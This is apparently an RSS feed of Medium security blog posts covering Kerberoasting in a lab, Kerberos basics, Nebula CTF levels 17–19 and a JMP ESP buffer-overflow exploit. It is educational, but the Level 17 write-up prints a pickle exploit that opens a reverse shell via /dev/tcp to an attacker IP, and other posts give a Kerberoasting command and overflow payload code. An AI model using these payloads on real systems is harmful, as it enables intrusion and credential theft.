attempting to crack the password of a service account within AD. Kerberoasting is also an offline attack, which means after harvesting the hash, the attacker can crack the password on a remote network or their own local machine to avoid detection.</p><p>Since it relies on cracking the passwords, it relies on the weakness in the passwords of the service accounts to be successful. Kerberoasting needs attacker access to an user account to request tickets from the KDC. As a side note <strong>Host SPNs</strong> aren’t vulnerable to Kerberoasting attacks because the password is a long, complex key that is refreshed every 30 days or less.</p><p><strong>Steps:</strong></p><ol><li>Attacker has obtained a compromised domain account or an insider threat possessing one</li><li>Attacker requests KRB_TGS_REQ, and receives the KRB_TGS_REP which contains the sealed ticket encrypted with key derived from the service credentials as well as the session key to be used for communication.</li><li>The attacker captures these from the memory and attempts to crack the service’s password offline. Once cracked successfully, the attacker has access to the service account and granted access to any network or system which this service has access to and further the initiatives.</li></ol><p>Getting access to a service account does not seem to be that alarming initially, but a lot of organizations have service accounts misconfigured and added to the Administrators group which causes a compromised service account to</p><h3>Practical demonstration</h3><p>The scope of explaining the internal working and components will be beyond the scope of our exercise.</p><h3>Environment Setup</h3><ul><li>Make sure you have vmware or virtual box installed on your system. You can go ahead and download the <a href="https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2016">2016 version</a> which I used for this exercise.</li><li>You would need to install the Active Directory Domain Services and make your machine the domain controller (as well as forest root since it is the only DC).</li><li>You would need to setup just 1 DC for this exercise, however I strongly recommending using the links below to setup a basic dojo for pentesting and playing around with AD for getting more familiar. Credits to 0xdarkvortex<br> — <a href="https://0xdarkvortex.dev/active-directory-penetration-dojo-setup-of-ad-penetration-lab-part-1/">https://0xdarkvortex.dev/active-directory-penetration-dojo-setup-of-ad-penetration-lab-part-1/</a><br> — <a href="https://0xdarkvortex.dev/active-directory-penetration-dojo-setup-of-ad-penetration-labpart-2/">https://0xdarkvortex.dev/active-directory-penetration-dojo-setup-of-ad-penetration-labpart-2/</a></li><li>Once you have these completed, go to Active Directory Users and computers from the tools option.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*_d39AYokMAhEFb__C9C7Cg.png" /></figure><ul><li>Under action , select new and then user.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*ui9_w5Wtb2h5VtB9X4GLOg.png" /></figure><ul><li>Enable view advanced features if not enabled before.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*bTMMgHe3doKpY-abExcrzw.png" /></figure><ul><li>Follow the onscreen instructions and enter the password and create the user. Create<strong> 2 users</strong> this way.</li><li>We will associate one of these created user accounts as the service accounts and associate a SPN with it (Service principal name). The non-service account is the user account we have compromised. Kerberos is a post-exploitation technique where the attacker has already compromised a user account on that domain.</li><li>To associate an SPN with an account , right click on the created account and select properties. Go to the attribute editor tab, and then servicePrincipalName. Click on edit, and provide any SPN name of choice to the account.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*cOAteJhmNjKdUxxvFpJ-0A.png" /></figure><ul><li>For the second aka the SPN/service account, keep the password simple, since we will be brute forcing the hash for this password. This is not far from reality as a lot of service accounts have never expiring passwords, and are often easy to guess due to bad practices.</li></ul><h3>Tools Used</h3><ul><li>A Kali Linux installation with nmap and Impacket (python) installed should be sufficient for this attack</li></ul><h3>Attack Scenario</h3><ul><li>Attacker has compromised the account of a domain user, and wishes to identify the Domain Controller.</li><li>Assuming no knowledge of the network, we scan the subnet. DCs won’t respond to ping probes, so we won’t get any results from a simple ping host discovery as shown below</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*iA5pTx0KHBYG5yE9dBH59g.png" /></figure><ul><li>We do a syn scan on port 445 as the DC will have that port open, and we get hit for that. Since our attacker IP is 10.10.50.130, ignoring the gateway and local broadcast address, we have a hit from <strong>10.10.50.128</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*vzfpVz_bKnO0kCK_AKbylg.png" /></figure><ul><li>Next, we just do a service scan to see which services are running, to confirm that this indeed is a domain controller. We see that it is running dns on 53 and this machine is also the global catalog server.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*7jaMpKl00_lY2ZzYbp0Ckw.png" /></figure><ul><li>Using Impacket and the knowledge of password of the compromised user , we submit a request to DC, and capture the hash we receive in <strong>KRB_TGS_REP</strong> The hash is derived from the password of the SPN enumerated and we can crack this hash offline using medusa or john-the-ripper</li></ul><pre>impacket-GetUserSPNs -dc-ip 10.10.50.128 evilcorp.local/dsinatra -request</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*PQVFZYO68Kc3Ix25BENzXw.png" /><figcaption>mysqlblueteam SPN hash retrieved</figcaption></figure><ul><li>We can pipe the output to a file or copy and then crack it with john the ripper. Like any rainbow-table attack, we rely on the weakness of the password as well.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*plTp9A90zbbIOVpVV2U0xg.png" /></figure><h3>Conclusion</h3><ul><li>Once we have a service account cred, the next step of the attacker will be to log in and assert the privileges, and further initiatives.</li><li>To prevent successfull kerberoasting attacks, SPN passwords must be complex and follow the organization’s best password practice</li></ul><h3>Additional resources</h3><p><strong>THM rooms</strong></p><ul><li><a href="https://tryhackme.com/room/attackingkerberos">https://tryhackme.com/room/attackingkerberos</a></li><li><a href="https://tryhackme.com/room/attacktivedirectory">https://tryhackme.com/room/attacktivedirectory</a></li></ul><p><strong>Youtube videos</strong></p><ul><li><a href="https://www.youtube.com/watch?v=Uidc-Qbv4Bg">https://www.youtube.com/watch?v=Uidc-Qbv4Bg</a> by Elevate cyber</li><li><a href="https://www.youtube.com/watch?v=-3MxoxdzFNI">https://www.youtube.com/watch?v=-3MxoxdzFNI</a> by Conda</li></ul><p>Go checkout their channels as they have a lot of videos around this topic and more.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=500192c3a317" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to Kerberos]]></title>
            <link>https://the-dark-lord.medium.com/introduction-to-kerberos-3dc3e9e3c793?source=rss-87b3b778a4a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/3dc3e9e3c793</guid>
            <category><![CDATA[kerberos]]></category>
            <category><![CDATA[active-directory-security]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[The Dark Lord]]></dc:creator>
            <pubDate>Sat, 03 Dec 2022 22:07:35 GMT</pubDate>
            <atom:updated>2023-09-05T14:47:16.543Z</atom:updated>
            <content:encoded><![CDATA[<p>Understanding Kerberos is an essential know how for an attacker or pentester targeting an AD environment. To understand this we would need some basic understanding of AD environment. So , let us dive into the basic know how of Kerberos.</p><p>Kerberos is a network authentication protocol that is used in Active Directory. Kerberos is derived from ‘Cerberus’ — 3 headed dog that guarded the gates to Hades (hell) in Greek mythology. It is the gold standard in network security and sharing secrets over untrusted networks</p><p>The 3 heads of Kerberos are:</p><ul><li>Client</li><li>Server</li><li>Authentication Server</li></ul><p>These 3 terms are known by different terminologies within the AD context. Within the AD context, Kerberos has several components.</p><ul><li><strong>KDC (Key Distribution Center)</strong> or the trusted authority. In AD, this is installed as part of Domain Controller.</li><li><strong>Application /Service</strong>: A server providing a service, could be SQL, file server or Web server</li><li><strong>TGT Ticket Granting Ticket or Golden Ticket</strong>: Ticket needed for requesting <strong>TGS</strong> ticket from KDC.</li><li><strong>TGS ticket or silver ticket:</strong> Ticket needed for authentication against a particular service.</li><li><strong>Encryption key</strong>: This is generated from the password of the target service. This is what is used to encrypt the sealed ticket.</li><li><strong>Session key:</strong> Ephemeral and generated for a time instance and communication between a client and a service.</li><li><strong>SPN:</strong> SPN is a identifier for each service instance.</li></ul><p><strong>Scenario</strong> : In the AD environment , an user Alice needs access to a file-printing service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jGlXtS-m5Pw_d1BqN2cBaw.png" /><figcaption>Kerberos exchange</figcaption></figure><h3><strong>Step-1: Alice logs into her system:</strong></h3><p><strong>Even before prompting Alice for a password</strong>, a message is sent to the authentication server. The Request is called <strong>KRB_AS_REQ</strong> and the message contains some details like</p><ul><li>Login name</li><li>Name of the service (authentication service) , here the service will be TGS service. This Request is called <strong>KRB_AS_REQ</strong></li><li>Like every other service, TGS service has a password. This password is used to generate the <strong>encryption key</strong></li><li>The Authentication server looks up <strong>Alice’s</strong> login name and service name. Authentication server has access to <strong>Alice’s</strong> credentials. The Authentication server also generates a random <strong>session key</strong> for communicating with Alice.</li><li>The “ticket” , also known as <strong>TGT</strong> , with which it responds to Alice has roughly the following structure — the response is called <strong>KRB_AS_REP</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gPaZseN2G3JfD5OTAsP5zQ.png" /><figcaption>Rough structure of the KRB_AS_REP</figcaption></figure><p>At this point , Alice enters her password. She is able to decrypt and obtain the <strong>Session key</strong>. She has no access to the sealed ticket as that is encrypted with TGS password. Alice saves the session key. Alice needs to contact the File server, and now she needs a ticket from <strong>TGS</strong>. Encrypted with Alice’s password is a loose term, a more accurate description would be an encryption key derived from Alice’s password.</p><h3>Step-2: Alice <strong>needs to request the TGS ticket:</strong></h3><p>Alice needs access to the <strong>File server</strong>. For any such request to an application service be honored, Alice needs a <strong>TGS ticket</strong>. This is a service like File Server, except, Alice needs this as a preliminary requirement, so she authenticates for a TGS ticket. Alice uses the sealed ticket she received above. This is accompanied with an authenticator, the authenticator is encrypted with <strong>the session key</strong> she saved in the previous step. <strong>KRB_TGS_REQ</strong> .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VhY4QxHESMseYI5K5R_VZg.png" /><figcaption>Authenticator</figcaption></figure><h3>Step-3: TGS receives the sealed ticket along with the authenticator</h3><p>TGS receives the sealed ticket and the authenticator. TGS decrypts the sealed ticket as it is encrypted with <strong>TGS password</strong>. TGS obtains the <strong>session key</strong> which alice had. Using this, TGS can now decrypt the <strong>authenticator</strong></p><h3>Step-4: TGS verification</h3><p>TGS verifies that the username and destination address and service name is valid. <em>Note that, TGS </em><strong><em>does not check for authorization on the file server by this user</em></strong><em> in this step.</em> That is left on the file server to decide. Once this is done, TGS looks up the <strong>credentials for the file server and generates an encryption key</strong> using this. It also generates a new <strong>random session key (file server session key)</strong>. This session key is to be used by <strong>Alice</strong> only for communication with the <strong>file server</strong></p><p>Alice is now sent another <strong>sealed ticket</strong> like she got in step 1. This time instead of the encryption key derived from TGS password, it is done with encryption key derived from <strong>file server credentials</strong> . It contains the newly generated session key, one within the sealed ticket and one encrypted using <strong>TGS session key</strong> (which Alice saved in step1 after receiving response) . This response is called <strong>KRB_TGS_REP</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ok5pFS24KNY2DZNnrQUzUA.png" /><figcaption>Rough structure of KRB_TGS_REP</figcaption></figure><h3>Step-5: Alice communicates with the file server</h3><p>Alice receives the above and can decrypt the RHS, as she knows the TGS session key. She uses the LHS which is the sealed ticket for communication to the File Server. She now sends the file server <strong>KRB_AP_REQ</strong>. She sends the sealed ticket she received above (LHS), and she sends an authenticator which she encrypts using the <strong>file server session key</strong> she obtained.</p><p>The file server can get access to the <strong>file server session key </strong>, as it unlike Alice can decrypt the Sealed ticket having knowledge of it’s encryption key. The file server using this <strong>file server session key</strong> can decrypt the <strong>authenticator</strong>. After this to validate certain privileges the file server communicates with the KDC , in the form of <strong>KRB_VERIFY_PAC_REQ</strong>. The KDC verifies the request and then responds with <strong>KRB_VERIFY_PAC_REP</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3dc3e9e3c793" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nebula (17–19) — Exploit Education]]></title>
            <link>https://the-dark-lord.medium.com/nebula-17-19-exploit-education-7867f7c036a5?source=rss-87b3b778a4a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/7867f7c036a5</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[exploitation]]></category>
            <dc:creator><![CDATA[The Dark Lord]]></dc:creator>
            <pubDate>Fri, 19 Aug 2022 04:51:01 GMT</pubDate>
            <atom:updated>2022-08-19T04:51:01.960Z</atom:updated>
            <content:encoded><![CDATA[<h3>Nebula (17–19) — Exploit Education</h3><h3>Overview</h3><p>Nebula is a set of exploitation challenges centered around the concept of privilege escalation in Linux. The challenges can be found <a href="https://exploit.education/nebula/">here</a>, and provide a great resource for getting started in privilege escalation techniques in the Linux environment.</p><p>There are set of 19 challenges covering the different aspects, techniques and approaches to privilege escalation abuse in Linux. Here I will cover the last 3 challenges, 17–19.</p><p>I have covered the other challenges of the series here.</p><p><strong>Levels (0–5)</strong>: <a href="https://the-dark-lord.medium.com/nebula-0-5-exploit-education-3f4ae3096a30">https://the-dark-lord.medium.com/nebula-0-5-exploit-education-3f4ae3096a30</a></p><p><strong>Levels (6–10)</strong>: <a href="https://the-dark-lord.medium.com/nebula-6-10-exploit-education-9ae70cc6ded4">https://the-dark-lord.medium.com/nebula-6-10-exploit-education-9ae70cc6ded4</a></p><p><strong>Levels (11–16): </strong><a href="https://the-dark-lord.medium.com/nebula-11-16-exploit-education-6673b85ec8e8">https://the-dark-lord.medium.com/nebula-11-16-exploit-education-6673b85ec8e8</a></p><h3><strong>Level 17:</strong></h3><p>We are given a python source code for a service which runs over a tcp socket. Out of the functions being used, the one that stands out is the ‘pickle’ function. Pickling refers to serializing and deserializing python objects, and if we have played in the field of web security for a bit, we know if we aren’t careful with how we utilize serialization, or we deserialize untrusted objects, it can lead to RCE (eg PHAR exploits). We will make this a target and try to see if we have a way to exploit this for executing the getflag.</p><p>If we look for information on the web regarding google, or python docs, we come to know that it is susceptible to remote code execution.</p><p>The way to achieve the code execution, centers around the reduce function which tells how certain aspects of the object like open file streams need to be interpreted or unpacked when the object is being deserialized.</p><p>For getting a good idea of how the reduce function can be used for the rce exploit, I referred to this blog which explains each function in detail. I had never come across this function or used it before in my time programming in python, so this blog was quite helpful<br><a href="https://davidhamann.de/2020/04/05/exploiting-python-pickle/"><strong>https://davidhamann.de/2020/04/05/exploiting-python-pickle/</strong></a></p><p>To get a good understanding of why a reduce function is important in the context of serialization and deserialization, this <a href="https://stackoverflow.com/questions/19855156/whats-the-exact-usage-of-reduce-in-pickler"><strong>answer</strong> </a>on stack overflow is useful.</p><p>We can whip up a simple python code to enclose a message which when get ‘unpickled’, will spawn a shell that can connect back to us.</p><pre>import os<br>import sys<br>import socket<br>import pickle</pre><pre>port = 10007<br>hostUrl = sys.argv[1]</pre><pre>sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)</pre><pre>#connect to the listening victim machine</pre><pre>sock.connect((hostUrl,port))</pre><pre>#Do not receive anything and send the message straight away.straight<br>#offset at which EIP was filled<br>class RCE(object):<br> def __reduce__(self):<br>  cmd = (&#39;bash -i &gt; /dev/tcp/192.168.40.129/6666 0&gt;&amp;1&#39;)<br>         return os.system, (cmd,)</pre><pre>if __name__ == &#39;__main__&#39;:<br> exploit_obj=RCE()<br> exploit_string=pickle.dumps(RCE())<br> greeting=sock.recv(1024)<br> print(&quot;SERVER: &quot;+greeting)<br> #padding=&quot;A&quot;*(1024-len(exploit_string))<br> #print(padding)<br> print(len(exploit_string))<br> sock.send(exploit_string)<br> sock.close()</pre><h3><strong>Level 18:</strong></h3><p>This challenge is a bit illusive, because of the numerous ways in which it can be solved.<br>There are 2 ways in which I was able to understand this challenge could be solved, the description mentions that there is an easy, an intermediate and a hard way to solve it.<br>The usual exploits of buffer and heap overflows might be hard on this one as the OS is ASLR enabled, so did not explore in that direction. There are a lot of lines of code to understand, and could be a countless other ways of achieving the privilege escalation.<br>To solve this challenge effectively, we would also need to carefully understand how the program processes inputs, as it is specific with the way it accepts the string, and any added extra space or newline characters can cause our attempts to fail.</p><p>As a matter fact, if we were to become root and view the password file, and use it as is as the login password, it would still fail as the existing password file has a newline character, and the login would use that for comparison and not succeed.</p><p>The easier or intermediate way to exploit this , is I believe cause the login function to fail. The login function is fail open which means it would log us in successfully if for some reason there is a logical failure besides the incorrect password.</p><p>The hard method I believe is to exploit the <em>notsupported </em>function which hints at a heap exploit, possibly of the UAF(use-after-free) nature, so not sure. Need to come back to it when I am better skilled.</p><p>Now, I’ll cover the few approaches that I managed to get it work.</p><p><strong>Approach 1: Exhaust the file descriptors and cause the fail-open login function to succeed</strong></p><p>The limit on file descriptors is set by the operating system and can be checked by using the command ulimit -n . This shows us the result as 1024 on the nebula VM, which is enforced on a per-process basis.</p><p>Each program in Linux starts with 3 file descriptors already open. They are the STDIN, STDERR and STDOUT. As we would find out, it would fail as execve uses a file descriptor itself. So we can basically open a file descriptor 1021 (1024–3) times, and then close one file descriptor by using the closelog command, and then pass the command shell to see if we are able to login atleast</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*sUN9ziuR8SjYRLCvx7rAvA.png" /><figcaption>preparing our payload</figcaption></figure><p>Then we pipe this to the flag18 program, and make the debug print to terminal by using the -d flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*olvtBPweVJR_gvItwE7KMw.png" /><figcaption>-d passed for debugging is being passed to the /bin/bash</figcaption></figure><p>We note that we get the successful login message, but the debug is getting passed to the /bin/sh and hence our exploit is failing. We have to specify the terminal in the debug parameter so we can interact with the shell. Now, we need to specify a parameter. We can specify version and see that it gets passed to /bin/bash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*HGnp8Ph1QBKZpMY1QhMieg.png" /><figcaption>— version flag gets processed</figcaption></figure><p>We can then use another parameter like --debug and get execution of the getflag as shown below. Maybe this was the easy way of exploiting this program due to many provisions in place to exploit this challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*OpoPiTE1CkUH4ms4zCYfCw.png" /><figcaption>Approach 1 has succeeded</figcaption></figure><p><strong>Approach 2: Use the debug file to overwrite the password file</strong></p><p>I got the initial hint of exploiting the debug file from this <a href="https://medium.com/@stankoja/exploit-exercises-nebula-level-18-another-way-to-solve-it-9ec64052a0f1">blog </a>by Stanko Jankovic. Then I arrived at the same solution they arrived at, with the main purpose of bypassing the newline character.</p><p>In this approach , let’s focus on manipulating the debug parameter where we can manipulate the contents of the password file. We can specify the debug file to be the password file. Since we know what we are going to be printing from the source code (we could have had a black boxed and read the output to figure this out), we can login with the password as the contents of the file we are writing to.</p><p>There is one catch however as we mentioned, the ‘\n’ or the newline character is added to every line it writes. It writes this the sample string “Starting up. Verbose level = 1\n” where the newline character is being added will cause an issue because the password we enter, is not going to match as the newline is going to be excluded.</p><p>We can control the verbose level and go to a max of 10. Can we exclude the newline character somehow? Note we can also have output written to this file by the site exec command which will write to it.</p><p>So we could perform a overwrite such that the newline character is removed from the password file, and we can use it to log in. The way to do this, is to use have 2 instances running the program simultaneously trying to write to the same debug file. Each of these instances will keep a track of their own file descriptors, and where they are writing to the file.</p><p>I will now use my superior MS paint skills to demonstrate how the 2 open programs writing to the same file can get rid of the ‘\n’ characters. We open a instance of the target program with verbose level 1 -d password -v . We then put this process in the background by using CTRL+Z .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FulllkXw4h9pcH2t6Gr1WA.png" /><figcaption>Art explaining file descriptors — Circa 2022</figcaption></figure><p>We then open a 2nd program with debug level 10, where the 0 will overwrite the ‘\n’ written by the previous fd. Then we put this program in background, and then bring our first instance to foreground. <br>You can do this by fg %{jobid} . The job id can be seen by using jobs command. Once we have the process in foreground, we can use site exec somelongtext which will start writing from after where it wrote\n , which would be after the ‘0’ (2nd fd overwrote the ‘\n’ of first fd), and we overwrite everything after 0, including the ‘\n’ written by the 2nd fd, and we now have a string devoid of ‘\n’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*pfXc9AVPTaWdbeuWem0Aeg.png" /><figcaption>we know the contents of the password file, so we can log in now</figcaption></figure><p>The content of the password file would be Starting up. Verbose level=10site exec thesewordsarejusttheretomakesense and we can login. Please note that to get shell we must use the same technique as specified in the previous approach.</p><h3>Level 19:</h3><p>The final challenge is not as hard as some of the harder challenges in this series. It involves an interesting concept and gives us an understanding of the process and how the init process conducts ‘reaping’.</p><p>When we look at the executable we notice it has a way of checking privileges by checking the parent process of the process that called the target executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*g9XHUn1Y4FN2Ef22_5zTXQ.png" /><figcaption>It is checking the owner of the parent process (0 is root)</figcaption></figure><p>If we start this executable as the level19 user, the parent process’ owner of the flag19 user would be level19 and we won’t be able to get access or call shell.</p><p>So each process in linux has a parent process, except init which starts all the processes. INIT process has the processid 0 and executed by the kernel. An important concept in OS is what happens to ‘orphan’ processes, i.e the processes whose parents have exited but the child process hasn’t.</p><p>These processes are reaped by the init process, and init becomes their parent after their original parent has died (wholesome init). We can use this to our advantage, and exploit this challenge.</p><p><strong>Exploit approach:<br></strong>Our attempt here would be to start the process, and spawn a child process to call the flag18 program, and have the parent be killed and the child be re-parented to the init, before it has a chance to call the flag18 .Here the whole idea is to get a privileged process to be the parent of our process aka reparenting, so that the execution succeeds.<br>In Linux, the init process reaps orphaned processes or processes whose parents have been killed off. In Linux, there are ways of killing processes without killing of the child process to make sure we have an orphaned process.</p><p>It is also important to understand the fork() system call , which we will explore here briefly.</p><p><strong>What happens in fork() call in linux?<br></strong>Forking creates a new process exactly the same as the present parent process. All states, such as open files , resgister states and program code is copied as well. The forked process has its OWN memory and it is just copied from the original.<strong> The parent and the child process have the same ppid (parent process id)</strong>.</p><p>Additionally, fork() is often abstracted by a clone() system call. Clone provides an abstraction over the fork() system call and allows you to specify which parts of the process (memory, registers, kernel state, files) you want to copy over.<br>Threads, are created by using clone() and specifying that the memory (page table), files and the id is same between the new and original instances (share memory while parent and child process have different memory). Threads ,however need to handle concurrency issues</p><p>Here the whole idea is to get a privileged process to be the parent of our process aka reparenting, so that the execution succeeds.<br>In Linux, the init process reaps orphaned processes or processes whose parents have been killed off. In Linux, there are ways of killing processes without killing of the child process to make sure we have an orphaned process.</p><p><strong>When we fork() a process, we can identify where we are (parent or child process) by the output returned by the fork() call.</strong></p><p>To bring our plants to fruition, we write a simple C code to accomplish that. We put the child process to sleep to let the reparenting complete.</p><pre>#include &lt;unistd.h&gt;</pre><pre>int main(int argc,char **argv,char **envp){<br>    pid_t parent = getpid();<br>    pid_t child = fork();<br>    int ppid;<br>    if(child != 0){<br>        printf(&quot;I am the parent process. My PID is %d\n&quot;, parent);<br>        printf(&quot;Parent process terminating\n&quot;);<br>        exit(0);<br>    }//child process is returned the output value 0 from the fork call<br>    else{<br>        <br>        printf(&quot;I am the child process. My PID is %d\n&quot;, getpid());<br>        printf(&quot;    My parent&#39;s PID is %d\n&quot;, parent);<br>         <br>        sleep(5);<br>        //parent process has died by now, init might have claimed this orphan process, if so it will print 1<br>        printf(&quot;parent is %d\n&quot;,getppid());<br>        char *args[] = {&quot;/bin/sh&quot;, &quot;-c&quot;, &quot;/bin/getflag&quot;, NULL}; <br>        execve(&quot;/home/flag19/flag19&quot;,args,envp);<br>        err(1,&quot;Unable to execve&quot;);<br>        exit(0);        <br>    }<br>    return 0;</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7867f7c036a5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploit Research — “The JMP ESP”]]></title>
            <link>https://the-dark-lord.medium.com/exploit-research-the-jmp-esp-2264f5930aea?source=rss-87b3b778a4a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/2264f5930aea</guid>
            <category><![CDATA[stackoverflow]]></category>
            <category><![CDATA[exploit-development]]></category>
            <category><![CDATA[exploit]]></category>
            <dc:creator><![CDATA[The Dark Lord]]></dc:creator>
            <pubDate>Sun, 24 Jul 2022 15:58:23 GMT</pubDate>
            <atom:updated>2022-07-24T15:58:23.744Z</atom:updated>
            <content:encoded><![CDATA[<h3>Exploit Research — “The JMP ESP”</h3><h3>Overview:</h3><p><strong>This is a continuation of the exploit research series, check out the blog before this </strong><a href="https://the-dark-lord.medium.com/a-brief-introduction-to-exploit-research-274b1287f96a"><strong>here</strong></a>. For the sake of brevity, I will not reiterate some of the ideas covered earlier like ‘the stack’ or how to generate a payload using ‘msfvenom’ etc since this exploit will be primarily reusing them with some slight modification.</p><h3><strong>The Exploit — Strcpy on Win XP SP3:</strong></h3><p>The stack is the the section of the memory which is used like a temporary scratchpad where a lot of variables and functions are stored, here we will be using the same idea of buffer overflow but with a slight change. The function we are trying to exploit, filters out some characters which will need us to make changes in our exploit design.</p><p><strong>So what’s different?<br></strong>We are trying to exploit a remote echo server, which uses ‘<strong>strcpy’ </strong>function. Though it suffers from the buffer overflow as the exploit before, strcpy puts certain restrictions on the strings we can send to it. Certain characters are considered as string delimiters and the function treats it as the end of string. If these characters are present in our exploit, they will be dropped and the string will be truncated, and the characters beyond it.<br>To take this into account, we would have to make sure none of these characters are included in our exploit. Since we are not crafting our own shellcode for this challenge, we can leave the exclusion of these characters to msfvenom, and focus on the return address since that is the only part of the exploit string we supply based on our deductions.</p><p>The first step would be to identify these ‘bad characters’. This can be done by sending the exploit string and seeing where the payload is getting truncated. Usual culprits are newlines, nulls, tabs etc (In hex 0A,00,0D).</p><p>The payload we generated using msfvenom, we can have these characters excluded by generating the payload by supplying an extra-parameter “<strong>— bad-chars ‘\x00\x0a\x0d’”</strong></p><p>Though metasploit does it seamlessly, when we get into the art of writing shellcode ourselves, we explore different techniques so that it does not have the bad characters, how to encode it to bypass string based detection, and also making it position independent.</p><p><strong>Problem solved?<br></strong>The payload doesn’t have the bad characters anymore, but we aren’t done yet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*6L2yr09fVcwb5rzKsbsUQg.gif" /></figure><p>In our last exploit we had a hardcoded address in the stack where our shellcode was located at. This would be all dandy, but a wrench in the works is thrown, since stack addresses now have (“0x00”)</p><p>Here we bring in a technique called ‘JMP ESP’. So we have our shellcode on the stack, and we need to move to that address without specifying the shellcode hardcoded address directly. We can use the JMP instruction, to jump to the stack, and stack top is pointed to by the ESP register.</p><p>So we <strong>overwrite the return address </strong>with the address of this “JMP ESP” instruction, and when the return address executes this instruction, it will return to the stack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*7PJ9PxEWjwtydw5Q6H5Fow.png" /><figcaption>bad MS paint skills, circa 2022</figcaption></figure><p>Now we just need to find this instruction within the loaded libraries , and Immunity debugged (in general any debugger) can help us find the address of any this command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ulCD4fFm0BjkwSa9RXg1hw.gif" /><figcaption>Can search for the “JMP ESP” command and use this in the exploit</figcaption></figure><p>One of the addresses out of the many results is <strong>“7e429353”. </strong>Pasting the prefix part, (the shellcode can be generated by msfvenom, appended and sent over in similar fashion using python as the last challenge).</p><pre>buf=&quot;&quot;<br>buf+=&quot;A&quot;*268<br>buf+=&quot;\x53\x93\x42\x7e&quot;<br>buf+=&quot;\x90&quot;*100<br>buf+={msfvenom output}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2264f5930aea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A brief introduction to exploit research]]></title>
            <link>https://the-dark-lord.medium.com/a-brief-introduction-to-exploit-research-274b1287f96a?source=rss-87b3b778a4a7------2</link>
            <guid isPermaLink="false">https://medium.com/p/274b1287f96a</guid>
            <category><![CDATA[exploit-development]]></category>
            <category><![CDATA[buffer-overflow]]></category>
            <category><![CDATA[exploitation]]></category>
            <dc:creator><![CDATA[The Dark Lord]]></dc:creator>
            <pubDate>Mon, 18 Jul 2022 01:33:59 GMT</pubDate>
            <atom:updated>2022-08-19T12:35:47.539Z</atom:updated>
            <content:encoded><![CDATA[<h3>Background</h3><p>My interest in cybersecurity stemmed from my interest in computer programs, and computers in general after I begrudgingly enrolled into a Bachelors in Computer Science and Engineering.<br>During my undergrad years , ‘hacker’ was a buzzword thrown around every so often, to the point where I didn’t quite understand what the term actually meant. I remember , a friend of mine got his facebook account ‘hacked’ after he left it logged in, in someone else’s computer. I thought maybe hacker is just an opportunist looking for something to exploit and happens to be at the right place at the wrong (for the victim) time? <br>As I traversed further, and learned more, I realized that the term refers to a broad spectrum of individuals who can make a program or system behave unexpectedly to achieve a goal. I was soon drawn to the field of exploit research, and found myself spending hours trying to understand how a high-level language like C is converted to machine code.</p><p>One of the very first books I read on exploit education, is one of the finest and a Bible in the area of exploit research , “Hacking — The Art of Exploitation” by Jon Erickson. In the first chapter of that book, Jon writes “Hacker is a term for both those who write code, and those who exploit it”. He adds further, “Hacking is really the act of just finding a clever and counterintuitive solution to a problem”</p><h3><strong>Overview:</strong></h3><p>This brings us to the first kind of exploit one learns in their journey of exploit research — A buffer overflow. A buffer is a temporary space in memory assigned to hold data. Buffers may be allocated at compile time (array) or run-time (heaps). A buffer overflow is a vulnerability wherein an input can cause the in-memory stack to overflow and end up being overwritten. This vulnerability can be exploited by an adversary to achieve arbitrary code execution. Before we go ahead and exploit there are some brief concepts which I’ll recap</p><p><strong>x86 architecture:</strong></p><p>Developed by intel , the 8086 CPU was the first in the line of x86 processors. A processor has several registers, which act like variables. While there are several registers in the x86 architecture, we are primarily going to be focused on the EIP and ESP for now. EIP is the register that stores the position of the instruction being executed — As the program is loaded into a memory address and executes a line of machine code, the EIP advances. The ESP refers to the top of the ‘stack’ , a section of memory used to store variables, and handle function calls. In fact, stack is one of the 